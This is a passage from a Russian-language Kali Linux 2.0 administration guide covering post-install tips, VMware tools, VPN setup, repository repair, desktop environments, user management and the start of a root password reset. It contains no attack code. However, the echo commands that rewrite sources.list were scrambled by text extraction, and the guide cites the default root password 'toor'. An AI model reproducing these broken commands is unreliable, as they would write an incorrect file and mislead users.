VirtualBox, то действуйте как написано в инструкциях:


Установка Kali Linux Live на USB



Добавление возможности постоянного сохранения (Persistence) к вашим Kali Live
USB

Если у вас ещё нет флешки или вы хотите приобрести новую специальной для Kali, то
необходима флешка размером от 16 Гигабайт. Я рекомендую 32 Гигабайта —
поскольку у меня постоянно появляются сообщения, что заканчивается свободное
место. лучше брать быструю — чем быстрее, тем лучше. Самые дешёвые цены на
eBay.com.
По материалам сайта WebWare.biz

42

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 5. 10 лучших подсказок того, что нужно сделать
после установки Kali Linux 2.0
Источник: https://www.offensive-security.com/kali-linux/top-10-post-install-tips/
С выходом Kali 2.0 мы хотим поделиться несколькими статьями о послеустановочных
процедурах, которые мы сами повторяем снова и снова, надеемся, что они окажутся
для вас полезными. Мы также здесь отвечаем на некоторые популярные вопросы,
которые к нам приходят, здесь наш список из 10 первых подсказок:

Включение или отключение интеллектуальных опций боковой панели
Некоторым людям это нравиться, некоторые ненавидят это. На маленьких
разрешениях это может быть раздражающим. Мы говорим об исчезновении боковой
панели с левой стороны экрана. Вот короткое видео, как изменить её поведение.
https://www.youtube.com/watch?v=drAQVPXuXu4

Добавьте ваш публичный ключ SSH в Kali 2.0
Kali Linux 2.0 перенимает из Debian дефолтные опции настройки SSH, которые
отключают возможность входа для root без key (так по умолчанию начиная с Jessie).
1|

root@kali:~# grep Root /etc/ssh/sshd_config

2|

PermitRootLogin without-password

Менее предпочитаемая альтернатива — это поменять параметр PermitRootLogin на
“yes” и перезапустить сервер SSH, который позволит удалённый вход для рута без
пароля. Для безопасного входа рута по SSH лучше добавьте ваш публичный ключ в
файл authorized_keys.

Установка драйверов Nvidia если они вам нужны
Если у вас графическая карта NVIDIA, вам следует воспользоваться этой инструкцией по
установлению NVIDIA драйверов в Kali 2.0.

Установите гостевые инструменты VMWare или Virtualbox, если в них
есть необходимость
Наши инструкции по установке виртуальных гостевых инструментов не сильно
изменились и прекрасно работают на последних версиях VMWare (Workstation и
Fusion), а также на VirtualBox.

Отключение функции Gnome по блокировке экрана
Мы забыли отключить эту функции в наших официальных сборках, но мы это сделаем в
наших предстоящих обновлениях и будущих выпусков ISO. Это самый быстрый способ
отключения функции экрана блокировки Gnome:
https://www.youtube.com/watch?v=Ju9qdYGc9rk

Не добавляйте дополнительные репозитории в вашу Kali 2.0
Если по каким-то причинам вы выбрали «нет», когда вас спрашивали «использовать
сетевое зеркало» во время установки Kali, в вашем файле sources.list могут
отсутствовать некоторые пункты. Если это ваш случай, проверьте список официальных
репозиториев, которые должны быть в этом файле. Чтобы там не говорилось во многих
По материалам сайта WebWare.biz

43

Тестирование на проникновение с помощью Kali Linux 2.0

неофициальных инструкциях, избегайте добавления дополнительных репозиториев в
ваш файл sources.list. Не добавляйте kali-dev, kali-rolling или какие-либо другие
репозитории Kali, если на то нет особой причины — а обычно её нет. Если вы
*должны* добавить дополнительные репозитории, бросьте их лучше в новый файл
источников /etc/apt/sources.list.d/ вместо этого.

Добавление пользователей не-рутов, если вам неудобно работать как
root
Мы видим, что многих пользователей утомляет использование Kali тот факт, что
главным пользователем ОС является root. Это вызывает у нас недоумение, ведь
добавление не-рут пользователей в Kali тривиально, и может быть выполнено набором
команд вроде следующих (просто измените «mial» на ваше собственное имя
пользователя):
1|

root@kali:~# useradd -m mial -G sudo -s /bin/bash

2|

root@kali:~# passwd mial

3|

Enter new UNIX password:

4|

Retype new UNIX password:

5|

passwd: password updated successfully

6|

root@kali:~#

Избегайте установку Flash плеера
Просто не надо.

Поддерживайте систему Kali обновлённой
Мы подтягиваем обновления от Debian 4 раза в день. Это гарантирует, что обновления
безопасности реализованы в Kali на постоянной основе. Вам следует поддерживать
свою систему в обновлённом состоянии, регулярно выполняя следующие команды:
1|

apt-get update && apt-get dist-upgrade

Избегайте устанавливать инструменты в определённые директории FHS
Есть несколько способов использовать Kali — либо как «машина для тестирования на
выброс», либо «долгое использование ОС». Метод «на выброс» влечёт настройку Kali
для короткого времени использования, а затем «убивания» ОС, когда всё выполнено
(так обычно делают в виртуальном окружении). «Долговременное использование»
можно описать как использование Kali на ежедневной постоянной основе. Оба методы
совершенно нормальные, но требуют различного обращения. Если вы планируете
использовать Kali на повседневной основе, вам следует избегать установки программ в
заданные директории FHS, т. к. это может конфликтовать с уже существующими и
вызовет проблемы у пакетного менеджера apt.

По материалам сайта WebWare.biz

44

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 6. Инструменты VMware в гостевой системе Kali
(обновлённая инструкция для Kali Linux 1.1.0 и Kali Linux 2.0)
Если вы не захотите использовать наши предварительно созданные образы VMware, а
решите создать вашу собственную установку VMware, то вам понадобиться
нижеследующая инструкция для успешной установки инструментов VMware в вашу
инсталяцию Kali. Вы можете воспользоваться opt для установки или open-vm-toolbox,
или родных инструментов VMware.

Установка open-vm-tools
Это, пожалуй, самый простой способ получить функциональность инструментов
VMware внутри гостевой машины Kali VMware.
1|

apt-get install open-vm-toolbox

Установка инструментов VMware в Kali
Последняя версия на эту дату vmware-tools компилируется на наше ядро, хотя и с
несколькими предупреждениями. Мы используем набор патчей vmware-tool для
облегчения установки.
1|

cd ~

2|

apt-get install git gcc make linux-headers-$(uname -r)

3|

git clone https://github.com/rasa/vmware-tools-patches.git

4|

cd vmware-tools-patches

Далее смонтируйте ISO с инструментами VMware, кликнув “Install VMware Tools”
(установить инструменты VMware) из соответствующего меню. Как только ISO с
инструментами VMware подсоединится к виртуальной машине, скопируйте установщик
в директорию загрузки, а затем запустите установочный скрипт:
1|

cd ~/vmware-tools-patches

2|

cp /media/cdrom/VMwareTools-9.9.0-2304977.tar.gz downloads/

3|

./untar-and-patch-and-compile.sh

Глава 7. Как включить VPN на Kali Linux — разрешение
проблемы с невозможностью добавить VPN
(для Kali 2.0 и Kali 1.x)
Как устранить проблему с невозможностью добавить VPN — включение
VPN на Kali Linux
Виртуальная частная сеть (VPN) расширяет частную сеть через общедоступную сеть,
такую как Интернет. Она позволяет компьютерам отправлять и получать данные через
общие или публичные сети так, будто бы компьютер напрямую подсоединён к частной
По материалам сайта WebWare.biz

45

Тестирование на проникновение с помощью Kali Linux 2.0

сети, при этом используются все преимущества функциональности, безопасности и
управление политиками частной сети. VPN создана для установления виртуального
соединения между узлами с использованием выделенных соединений, виртуальных
туннельных протоколов или шифрование трафика. На Kali Linux, по умолчанию, опция
VPN является неактивной, т. е. недоступной для добавления новых соединений. Эта
инструкция покажет пользователям, как установить необходимые пакеты для
разрешения проблемы с невозможностью добавить VPN и включением VPN на Kali
Linux.
Несмотря на то, что коммуникации осуществляются по сетям с меньшим или
неизвестным уровнем доверия (например, по публичным сетям), уровень доверия к
построенной логической сети не зависит от уровня доверия к базовым сетям благодаря
использованию средств криптографии (шифрования, аутентификации, инфраструктуры
открытых ключей, средств для защиты от повторов и изменений передаваемых по
логической сети сообщений). Вики.
VPNпозволяет работникам безопасно подключаться к внутренней сети компании при
путешествии вне офиса. Точно также множество VPN связывает географически
разрозненные офисы организации, создавая одну сплочённую сеть. Технология VPN
также используется юзерами Интернета для подключения к прокси-серверам с целью
защиты анонимности и местонахождения.

Для чего использовать VPN — какие преимущества?
Здесь 11 главных причин, почему вас может заинтересовать использование служб VPN.
1. VPN обеспечивает конфиденциальность и скрывает ваш IP адрес.
2. Использование любой сети (публичной или частной или бесплатного WiFi) с
шифрованием
3. Конфиденциально заходите на вашу домашнюю или рабочую сеть из любого места.
4. Обходите цензуру и мониторинг контента.
5. Обход межсетевого экрана и политики цензуры на работе или где угодно!
6. Доступ к ограниченным по регионам службам откуда угодно (видео Youtube, NetFlix
или BBC Player и т.д.)
7. Пересылайте или получайте файлы конфиденциально.
8. Спрячьте ваши голосовые/VOIP звонки.
9. Используйте поисковые системы, скрывая свои некоторые идентификаторы.
10. Спрячьте себя.
11. Потому что вам нравится анонимность.

Как вы могли заметить из списка выше, VPN не обязательно прячет всё. Поисковые
движки могут, возможно, всё ещё узнать вас, основываясь на ваших кукиз,
предыдущем поведении браузера, входа в аккаунт (да уж!), плагинах браузера
(например, Alexa, Google Toolbar и т. д.).

Включение VPN на Kali Linux 2.0
1|

aptitude -r install network-manager-openvpn-gnome network-manager-pptp networkmanager-pptp-gnome strongswan-nm network-manager-vpnc network-manager-vpncgnome

По материалам сайта WebWare.biz

46

Тестирование на проникновение с помощью Kali Linux 2.0

Чтобы добавить VPN в правом верхнем углу клините на эту иконку и нажмите на Wired:

Теперь выберите «Параметры проводных соединений»:

По материалам сайта WebWare.biz

47

Тестирование на проникновение с помощью Kali Linux 2.0

Нажмите на плюсик (+) в нижем левом углу:

Выберите VPN:

По материалам сайта WebWare.biz

48

Тестирование на проникновение с помощью Kali Linux 2.0

Вы увидите список доступных вариантов:

Включение VPN на Kali Linux 1.x
Проблема неактивности VPN на Kali Linux 1.x
По умолчанию, в Kali Linux секция VPN серого цвета. На самом деле, разрешить эту
проблему просто, но те, кто не знаком с пакетами, требуемыми для VPN, могут прийти
в замешательство из-за большого количества веб-сайтов, дающих различные советы.
Всё это приводим к тому, что может быть непросто выявить корректную информацию.
Я постараюсь сделать простую и краткую инструкцию с объяснением того, что мы
делаем.

Ниже показан
использования.

скриншот,

на

По материалам сайта WebWare.biz

котором

кнопка

«Добавить»

недоступна

для
49

Тестирование на проникновение с помощью Kali Linux 2.0

Инструкция по включению VPN на Kali Linux 1.x
Во-первых, поправьте ваши репозитории. Используйте только официальные
репозитории Kali Linux. Простая инструкция по восстановлению оригинальных
записей репозиториев.
Как я уже сказал, на самом деле, это очень просто. Для этого только запустите
последующую команду и всё готово.
1|

aptitude -r install network-manager-openvpn-gnome network-manager-pptp networkmanager-pptp-gnome network-manager-strongswan network-manager-vpnc networkmanager-vpnc-gnome

По материалам сайта WebWare.biz

50

Тестирование на проникновение с помощью Kali Linux 2.0

Думаю, нужно немного объяснить, почему я использую aptitude вместо of apt-get, и
почему я использую флаг -r, и почему я не перезапускаю Network-Manager.
Используя aptitude -r install, я уверен, что установятся все пакеты, упомянутые выше,
вместе с любыми рекомендуемыми пакетами (общий размер очень маленький, что-то
вроде 1969 kB, поэтому не стоит беспокоиться об этом).
Причина, почему я не перезапускаю Network-Manager в том, что aptitude сделает это.
Для чего это делать дважды, правильно?
После того, как установка завершена, возвращаемся к иконке сетей, выбираем вкладку
VPN и теперь кнопка Добавить активна.
Итак, давайте проверим, что у нас есть, если нажать на кнопку Добавить.

Опции VPN на Kali Linux (GNOME)
Далее — это опции, которые вы увидите, нажав кнопку Добавить на вкладке VPN.

Используйте выпадающее меню, чтобы увидеть все поддерживаемые типы
соединения VPN:

Всего на Kali Linux у вас будет 4 поддерживаемых типа связи VPN:


Cisco Compatible (vpnc)



IPsec/IKEv2 (strongswan)



OpenVPN

По материалам сайта WebWare.biz

51

Тестирование на проникновение с помощью Kali Linux 2.0


Point-to-point Tunneling Protocol (PPTP)

Заключение
VPN — это хорошо, VPN безопасен, VPN позволяет вам обходить прокси, файерволы,
слежение и фильтры содержимого. Но всегда есть драма при использовании VPN,
иногда он медленный, а иногда и не так безопасен, как вы можете думать. Но для
стран вроде Ирана, Пакистана, Египта, Китая, Северной Корее, Саудовской Аравии и
т. д., где фильтрация осуществляется на государственном уровне, может быть, это
способ выглянуть наружу. Я не собираюсь обсуждать здесь правовые аспекты, оставлю
это вам.

Глава 8. Проверка и восстановление репозиториев в Kali Linux
из командной строки
Проблемы с репозиториями (частичное или полное отсутствие прописанных
официальных источников приложений) бывают даже на свеже установленных Kali.
Понятно, что это вызывает проблемы при попытке обновить или установить
приложения. Посмотреть, что у вас в источниках приложений можно этой командной
1|

cat /etc/apt/sources.list

У меня вывод следующий:
1|

#

2|

# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot amd64 LIVE/INSTALL Binary
20150312-17:50]/ kali contrib main non-free

3|

#deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official
Snapshot amd64 LIVE/INSTALL Binary 20150312-17:50]/ kali contrib main non-free

4|

deb http://security.kali.org/ kali/updates main contrib non-free

5|

deb-src http://security.kali.org/ kali/updates main contrib non-free

Вроде что-то и есть, но вроде и что-то не так. Чтобы было быстро и просто проверить
состояние репозиториев, я написал вот такую длинную команду:

Для Kali 2.0
1|

if cat /etc/apt/sources.list | grep -E "deb http://http.kali.org/kali sana main non-free
contrib" && cat /etc/apt/sources.list | grep -E "deb http://security.kali.org/kali-security/
sana/updates main contrib non-free"; then echo -e "\n\nРепозитории в порядке"; else
echo -e "\n\nПроблемы с репозиториями"; fi

Для Kali 1.x
1|

if cat /etc/apt/sources.list | grep -E "deb http://http.kali.org/kali kali main non-free
contrib" && cat /etc/apt/sources.list | grep -E "deb http://security.kali.org/(|kali-security)
kali/updates main contrib non-free"; then echo -e "\n\nРепозитории в порядке"; else
echo -e "\n\nПроблемы с репозиториями"; fi

По материалам сайта WebWare.biz

52

Тестирование на проникновение с помощью Kali Linux 2.0

Пробую. Программа однозначно говорит, что у меня проблема:

Решить эту проблему можно одной единственной командой:

Для Kali 2.0
1|

echo -e "deb http://http.kali.org/kali sana
http://security.kali.org/kali-security/ sana/updates
/etc/apt/sources.list

main
main

non-free contrib\ndeb
contrib non-free" >

main
main

non-free contrib\ndeb
contrib
non-free"
>

Для Kali 1.x
1|

echo -e "deb http://http.kali.org/kali kali
http://security.kali.org/kali-security
kali/updates
/etc/apt/sources.list

Внимание, эта команда полностью затирает файл sources.list (в котором хранятся
источники приложений). Т.е. если вы вручную туда что-то добавляли, то команда это
сотрёт. Также удаляются комментарии, пустые строки и пр. — результатом команды
является то, что в этот файл записываются две строчки — официальные источники
приложений Kali.
Опять проверяю репозитории:

По материалам сайта WebWare.biz

53

Тестирование на проникновение с помощью Kali Linux 2.0

Можно опять проверить содержимое файла источников:
1|

root@WebWare-Kali:~# cat /etc/apt/sources.list

2|

deb http://http.kali.org/kali kali main non-free contrib

3|

deb http://security.kali.org/kali-security kali/updates main contrib non- free

Отлично — всё есть и ничего лишнего.
После обновления репозитория, обязательно выполняем:
1|

apt-get update

Глава 9. Как поменять среду рабочего стола в Kali Linux
Как вам GNOME 3 в новой Kali 2.0?
Меня он достал! Как говорят на Лурке, «так и вышло». Это я к переходу Kali Linux 2.0 на
GNOME 3. Одна из хороших книг по Linux, прочитанных за последнее время,
начиналась введением, там есть такое предложение:
No, I want to tell you the story of how you can take back control of your
computer.
Перевод: Нет, я хочу рассказать вам историю о том, как вы можете вернуть
контроль над вашим компьютером.
Смысл в том, что мы сами определяем, что компьютер может, а что нет. На мой взгляд,
GNOME 3 отходит от этого принципа. Вместо того, чтобы генерировать кучу мануалов
из цикла «Как сделать иконку на программу на рабочем столе в Kali Linux 2.0» и
«Куда делось главное меню в Kali Linux 2.0», а решил подойти радикальнее. Я уже
упоминал, что из-за GNOME 3 когда-то сменил Ubuntu на Linux Mint. Менять Kali Linux
2.0 мы не будем (хотя есть альтернативы) но поменяем окружение рабочего стола.
За это мы и любим Linux — систему можно полностью настроить по своему вкусу. В
этой статье я расскажу как установить (и удалить) новые окружения рабочего стола в
Kali Linux. Среди альтернативных окружений рабочего стола мы имеем: Cinnamon,
Xfce, KDE, LXDE, GNOME, MATE.
Сразу для тех, кто пролистал инструкцию и ужаснулся её размеру — инструкция очень
простая. Чтобы поменять среду рабочего стола нужно выполнить одну команду для
установки пакетов и ещё одну команду для выбора новой среды рабочего стола по
умолчанию. Но так как разных сред много, плюс я сделал скриншоты в каждой из них,
то инструкция и распухла. Получится даже у новичков — читайте дальше. ))
Порядок действия следующий: мы устанавливаем пакеты новой среды рабочего стола
и выбираем её в качестве среды по умолчанию. Альтернативой данному методу
является сборка своего собственного (кастомного) .ISO образа Kali Linux. Но сборка
собственного образа занимает много времени (почти полный рабочий день), поэтому я
предлагаю ознакомиться с этим методом, который не требует переустановки системы
или создания пользовательского образа.
Я тестирую на Kali Linux 2.0! На в Kali Linux 1.x действия во многом аналогичны, но,
возможно, отсутствуют пакеты для MATE (раньше отсутствовали и нужно было
По материалам сайта WebWare.biz

54

Тестирование на проникновение с помощью Kali Linux 2.0

добавлять новый репозиторий; сейчас, возможно, по-другому). В Kali Linux 2.0 все
необходимые пакеты присутствуют в стандартных репозиториях.

Краткая характеристика и сравнение самых популярных сред рабочего
стола в Linux: Cinnamon, Xfce, KDE, LXDE, GNOME, MATE
Скажу сразу, что если хотите объективных оценок, то обратитесь к Википедии, каждой
из этих сред посвящена отдельная статья и есть скриншоты. Хотя скриншоты есть и у
меня. Мои оценки будут субъективные. Я регулярно работаю только в среде Cinnamon.
Последний раз пользовался KDE несколько лет назад. В настоящее время регулярно
работаю в GNOME 2. Про все остальные среды рабочего стола я сам прочитал в
Википедии:

Cinnamon
После того, как была выпущена третья версия GNOME, которую Линус Торвальдс
(создатель Linux) честно назвал «окружением для идиотов», то сразу же появились
форки второй версии GNOME. Это Cinnamon и MATE. Оба форка делаются одними и
теми же людьми — создателями Linux Mint – тогда зачем же сразу два? Главная цель
MATE — это поддержание старого доброго GNOME 2 в актуальном состоянии. Т.е. это
тот же GNOME 2, только актуальный. А Cinnamon, хоть и базируется на GNOME 2, но
включает в себя модные новации — среди них действительно много полезного. Мне
нравится настраивать действия при наведении курсора на определённые углы экрана
— пользуюсь постоянно, очень удобно.
В общем, моим любимым окружением рабочего стола является Cinnamon.

MATE
По сути, про MATE уже всё сказано в разделе про Cinnamon — это старый добрый и
актуальный GNOME 2.

KDE
Я пользовался этим окружением рабочего стола давно и очень недолго. Главной мой
вывод по итогам этого опыта: красиво, но глючно. Повторюсь, это было давно, там уже
много раз всё могло поменяться — поисправляли старые ошибки и добавили новые )) В
KDE много разных виджетов, рабочий стол (в то время, когда я им пользовался)
выглядел современно и чуть футористично.

Xfce
«Xfce — лёгкое настольное рабочее окружение для различных UNIX-подобных систем.
Разработанное с целью повышения производительности, оно позволяет загружать и
выполнять приложения быстро, сохраняя ресурсы системы» — об этом говорит Оливер
Фордан, создатель Xfce, которого цитирует Википедия.

LXDE
Википедия говорит, что «проект LXDE направлен на создание новой быстрой,
легковесной и энергоэффективной среды рабочего стола. LXDE создана простой в
использовании, достаточно лёгкой и нетребовательной к ресурсам системы. Она
подходит для работы с низкопроизводительным спектром оборудования, таким как
старые машины с ограниченными ресурсами и/или маленьким объёмом ОЗУ».
По материалам сайта WebWare.biz

55

Тестирование на проникновение с помощью Kali Linux 2.0

Примечание: Если после смены среды рабочего стола вас вместо красивой обоины
вкстречает чёрный экран (у меня такое было только после смены на Cinnamon), то…
установите другую обоину. Если вы хотите использовать стандартные, то они лежат
здесь:
1|

/usr/share/backgrounds/

Как поменять среду рабочего стола в Kali Linux на Cinnamon

Как установить окружение рабочего стола Cinnamon в Kali Linux:
1|

apt-get install kali-defaults kali-root-login desktop-base cinnamon

Как удалить окружение рабочего стола Cinnamon в Kali Linux:
1|

apt-get remove cinnamon

По материалам сайта WebWare.biz

56

Тестирование на проникновение с помощью Kali Linux 2.0

Как поменять среду рабочего стола в Kali Linux на Xfce

Как установить окружение рабочего стола XFCE в Kali Linux.
Используйте следующую команду для установки окружения рабочего стола, включая
все необходимые плагины и goodies (плюшки).
1|

apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4goodies

Как удалить XFCE в Kali Linux
В случае если вы хотите удалить XFCE, используйте следующую команду
1|

apt-get remove xfce4 xfce4-places-plugin xfce4-goodies

По материалам сайта WebWare.biz

57

Тестирование на проникновение с помощью Kali Linux 2.0

Как поменять среду рабочего стола в Kali Linux на KDE

Как установить среду рабочего стола KDE Plasma в Kali Linux:
1|

apt-get install kali-defaults kali-root-login desktop-base kde-plasma-desktop

Как установить среду рабочего стола KDE для нетбуков в Kali Linux:
1|

apt-get install kali-defaults kali-root-login desktop-base kde-plasma-netbook

Как установить стандартные отобранные Debian пакеты и фреймворки в Kali Linux:
1|

apt-get install kali-defaults kali-root-login desktop-base kde-standard

Как установить KDE Full Install (полный набор) в Kali Linux:
1|

apt-get install kali-defaults kali-root-login desktop-base kde-full

По материалам сайта WebWare.biz

58

Тестирование на проникновение с помощью Kali Linux 2.0

Как удалить KDE из Kali Linux:
1|

apt-get remove kde-plasma-desktop kde-plasma-netbook kde-standard

Как поменять среду рабочего стола в Kali Linux на LXDE

Как установить окружение рабочего стола LXDE в Kali Linux:
1|

apt-get install lxde-core lxde kali-defaults kali-root-login desktop-base

Как удалить LXDE из Kali Linux:
1|

apt-get remove lxde-core lxde

По материалам сайта WebWare.biz

59

Тестирование на проникновение с помощью Kali Linux 2.0

Как поменять среду рабочего стола в Kali Linux на GNOME

Как установить окружение рабочего стола GNOME в Kali Linux:
1|

apt-get install gnome-core kali-defaults kali-root-login desktop-base

Как удалить окружение рабочего стола GNOME из Kali Linux:
1|

apt-get remove gnome-core

По материалам сайта WebWare.biz

60

Тестирование на проникновение с помощью Kali Linux 2.0

Как поменять среду рабочего стола в Kali Linux на MATE

Следующая команда установит базовые пакеты MATE:
1|

apt-get install kali-defaults kali-root-login desktop-base mate-core

(или) Установите окружение рабочего стола MATE с дополнительными пакетами
Следующая команда установит mate-core и дополнения:
1|

apt-get install kali-defaults kali-root-login desktop-base mate-desktop-environment

(или) Установите окружение рабочего стола MATE с ещё большим количеством
дополнительных пакетов.

По материалам сайта WebWare.biz

61

Тестирование на проникновение с помощью Kali Linux 2.0

Следующая команда установит mate-core + mate-desktop-environment и ещё больше
дополнений:
1|

apt-get install kali-defaults kali-root-login desktop-base mate-desktop-environment-extra

Как удалить окружение рабочего стола MATE в Kali Linux
Если вы хотите удалить рабочий стол MATE, используйте следующую команду:
1|

apt-get remove mate-core

Как изменить среду рабочего стола в Kali Linux
Думаю, вы уже заметили, что хоть мы и установили новое окружение рабочего стола в
Kali Linux, но даже после перезагрузки ничего не меняется. Всё очень просто — нам
нужно в настройках выбрать, какую среду рабочего стола мы хотим использовать.
Удалять неиспользуемые среды не нужно! Т.е. в любой момент вы можете выбрать
любую рабочую среду, вернуться к изначальной.
Используйте следующую команду чтобы выбрать главное окружение рабочего стола.
Эта команда выведет список доступных вариантов.
1|

update-alternatives --config x-session-manager

Объяснение update-alternatives
update-alternatives создаёт, удаляет, сохраняет и отображает информацию о
символьных ссылках имеющейся системы альтернатив. Система альтернатив — это
повторная реализация системы альтернатив Debian. В первую очередь, она была
переписана чтобы избавиться от зависимостей от Perl; она предназначена чтобы стать
заменой скрипту от Debian — update-dependencies. Страница руководства (man)
незначительно отличается от страницы man в проекте Debian.
Бывает так, что на одной системе одновременно установлено несколько программ,
которые выполняют одни и те же или похожие функции. Например, многие системы
имеют несколько текстовых редакторов установленных одновременно. Это даёт
пользователям системы выбор, позволяя каждому использовать разные редакторы,
если они этого хотят. Но если конкретный выбор не обозначен явным образом в
настройках, это создаёт программе трудности в выборе редактора, который нужно
запустить в данный момент.
Система альтернатив призвана для решения этой проблемы. У всех альтернатив с
взаимозаменяемыми функциями есть родовое имя, одинаковое для всех. Система
альтернатив и системный администратор вместе определяют, на какой файл в
действительности идёт ссылка с этого родового имени. Например, если в системе
установлено два текстовых редактора ed и nvi, система альтернатив заставит родовое
имя /usr/bin/editor ссылаться по умолчанию на /usr/bin/nvi. Системный администратор
может переписать это и сделать так, что вместо этого оно будет ссылаться по
умолчанию на /usr/bin/ed, и система альтернатив не изменит эти настройки до тех пор,
пока на это не придёт явный запрос.
Родовое имя — это не прямая символьная ссылка для отобранных альтернатив. Вместо
этого, это символьная ссылка на имя в директории альтернатив, которая, в свою
очередь, является символьной ссылкой на реальный файл. Это сделано так, что выбор
По материалам сайта WebWare.biz

62

Тестирование на проникновение с помощью Kali Linux 2.0

системного администратора может быть подтверждён внутри директории /etc, на это
есть свои основания FHS (q.v.).
Каждая альтернатива имеет связанный с ней приоритет. Когда ссылка группы в
автоматическом режиме, выбирается член группы с наивысшим приоритетом.
Когда используется опция –config, будет выведен список всех опций для выбора на
которые может указывать мастер ссылка. Вы можете сделаете выбор, ссылка больше
не будет в автоматическом режиме, чтобы вернуть в автоматический режим вам нужно
использовать опцию –auto. Полную справку можно найти здесь:
1|

man update-alternatives

Глава 10. Как добавить/удалить обычного (не рута)
пользователя в Kali Linux
Стандартные пользователи и суперпользователи в Linux
Обычной практикой в большинстве дистрибутивах Linux является работа из-под
обычного пользователя, который не имеет привилегий суперпользователя. Когда в этих
привилегиях возникает необходимость, то, в зависимости от дистрибутива,
используется команда sudo или вход под суперпользователем su —. В Kali Linux эта
традиция нарушается, по умолчанию вся работа происходит под рутом. Этому есть
объяснение — многие инструменты в дистрибутиве требуют прав рута, да и
пользователями Kali Linux обычно являются не новички, и они понимают как безопасно
работать и не разрушить систему.
Тем не менее, достаточно многих людей раздражает постоянная работа под
суперпользователем. Эта инструкция расскажет, как добавить и как удалять
пользователей (стандартных, которые не являются рутом) в Kali Linux. Кроме Kali Linux
эта инструкция в полной мере применима к Debian и производным от Debian (Ubuntu,
Linux Mint).
В первую очередь, это руководство покажет как:
1. Добавить пользователя и все необходимые пользовательские директории (т. е.
как избежать ошибки “Could not update .ICEauthority var/lib/gdm3/.ICEauthority”
и вообще всех ошибок содержащих ICEauthority или проблемы с
разрешениями).
2. Добавить пользователя в группу sudo, чтобы позволять ему использовать
команды рута. Вы также можете добавить пользователя в группу ‘lpadmin’, что
позволит ему использовать принтеры Canon, HP и другие.
3. Изменить шелл по умолчанию с chsh на bash. Или на любой шелл, например,
Bourne Shell (sh), Bourne-Again Shell (bash), C Shell (csh) или Korn shell (ksh) и т.д..
4. Войти под пользователем и показать, что не возникает никаких ошибок.
5. Научиться использовать
преимущества.

sudo,

понимать

группы

и

использовать

их

6. Безопасно удалить пользователя.

По материалам сайта WebWare.biz

63

Тестирование на проникновение с помощью Kali Linux 2.0

Преимущества стандартного пользователя в Kali:
Войдя под обычным пользователем вы получаете несколько преимуществ в Kali
1. Установка и запуск Google Chrome
2. Установка и запуск менеджера пользователей и групп Gnome (установить
gnome-system-tools)
3. Использовать Kali в качестве главной операционной системы без постоянного
беспокойства сломать её.
Ну а теперь давайте перейдём к самой инструкции.

Добавление пользователя Kali Linux:


1|

Откройте терминал и напечатайте туда следующее для создания нового
пользователя (замените mial на желаемое имя пользователя):
useradd -m mial

(Примечание: -m означает создание домашней директории, которой обычно является
/home/имя_пользователя)


1|

Теперь установим пароль для этого пользователя
passwd mial

Дважды введите желаемый пароль.


1|

Добавьте пользователя в группу sudo (чтобы пользователь мог устанавливать
программное обеспечение, мог использовать принтер, использовать
привилегированный режим и т.д.)
usermod -a -G sudo mial

(Примечание: -a означает присвоить или добавить, –G означает группу/группы)


1|

Измените дефолтный шелл ранее созданного пользователя на bash
chsh -s /bin/bash mial

(Примечание: chsh означает изменить входной shell, -s задаёт имя шелла, который вы
хотите для пользователя, в данном случае это /bin/bash)
Славно, всё работает как и ожидалось.
Давайте выйдем и залогинемся снова под нашим новым стандартным пользователем
(mial)

Вход под новым пользователем


1|

После хода, давайте убедимся, кем на самом деле мы являемся. В терминале
напечатайте следующее
whoami

Обратите внимание на новое приветствие командной строки mial@kali. Оно также
является подтверждением того, кто мы.


1|

И давайте проверим в какие группы мы ходим, напечатайте следующее в
терминале:
groups

По материалам сайта WebWare.biz

64

Тестирование на проникновение с помощью Kali Linux 2.0

Для меня до сих пор всё выглядит хорошо.
Я вхожу в группу mial (моя главная группа) и группу sudo. Это означает, что я могу
запускать привилегированные команды или просто самому становиться рутом если это
потребуется.


1|

Становимся рутом!
sudo su –

И введите в терминале пароль рута.
Приветствие опять вернулось к root@kali вместо mial@kali. Это означает, что вы сейчас
рут и вы можете запустить на Kali всё, что она может вам предложить.


1|

Давайте убедимся в этом с помощью команды whoami
whoami

Всё нормально. А теперь как удалить пользователя?

Удаление пользователя в Kali Linux:


1|

Снова зайдите под пользователем. Откройте терминал и напечатайте:
userdel -r mial

(Примечание: -r означает удалить все файлы и домашнюю директорию для mial)
Вы можете заменить mial на любое другое желаемое имя.
У меня ошибка “userdel: user mial is currently used by process 25274”.
Т.е. процесс с ID 25274 используется mial. (я знаю, что это процесс Gnome–keyring,
который я использовал для команды sudo su — ранее. Ошибка Gnome–Keyring
довольно распространена в Debian, когда вы устанавливаете множество оконных или
десктопных менеджеров. Есть отдельная инструкция, как преодалеть ошибку GnomeKeyring. Далее показано как избавиться от ошибки gnome–keyring для пользователя
рута). В нашем случае не о чем беспокоиться, т. к. мы хотим удалить этого
пользователя.
Давайте сделаем это


1|

Напечатайте следующее в терминале, чтобы убить процесс используемый
пользователем mial.
kill -9 25274

Это убъёт процесс немедленно.
(Примечание: не убивайте процессы рута или системные, если вы не знаете, что вы
делаете)


1|

Давайте опять попробуем удалить пользователя.
userdel –r mial

Мы получили сообщение «userdel: почтовый ящик mial (/var/mail/mial) не найден».
(Примечание: -r означает удалить все файлы и домашнюю директорию для mial)
Есть ли о чём беспокоиться? Беспокоиться не о чем, мы никогда не создавали
почтового ящика для пользователя mial.
По материалам сайта WebWare.biz

65

Тестирование на проникновение с помощью Kali Linux 2.0


1|

Просто чтобы убедиться, что все файлы пользователя mial были удалены,
выведем список файлов директории home
ls /home

Ничего — это хорошо, все файлы и каталоги пользователя mial были удалены.


1|

Хотите проверить ещё раз?
su mial

Отлично, пользователь mial был успешно удалён.

Глава 11. Как сбросить пароль root’а в Kali Linux
Пароль root в Kali Linux
Как правило, пароль мы задаём сами при установке системы. Бывают исключения —
например, при прожиге на флешку live-образа, либо при установке ARM-версий Kali
Linux. В любом случае для начала, попробуйте пароль:
1|

toor

Если забыл пароль от Kali Linux
Небольшие неприятности могут случиться со всеми. Но если данные на диске не
зашифрованы, то забытый пароль от Linux — это маленькая неприятность с которой
легко справиться.
Если пароль toor не работает, то просто сбрасываем (задаём новый) пароль для рута.
При загрузке, когда появится это окошко:

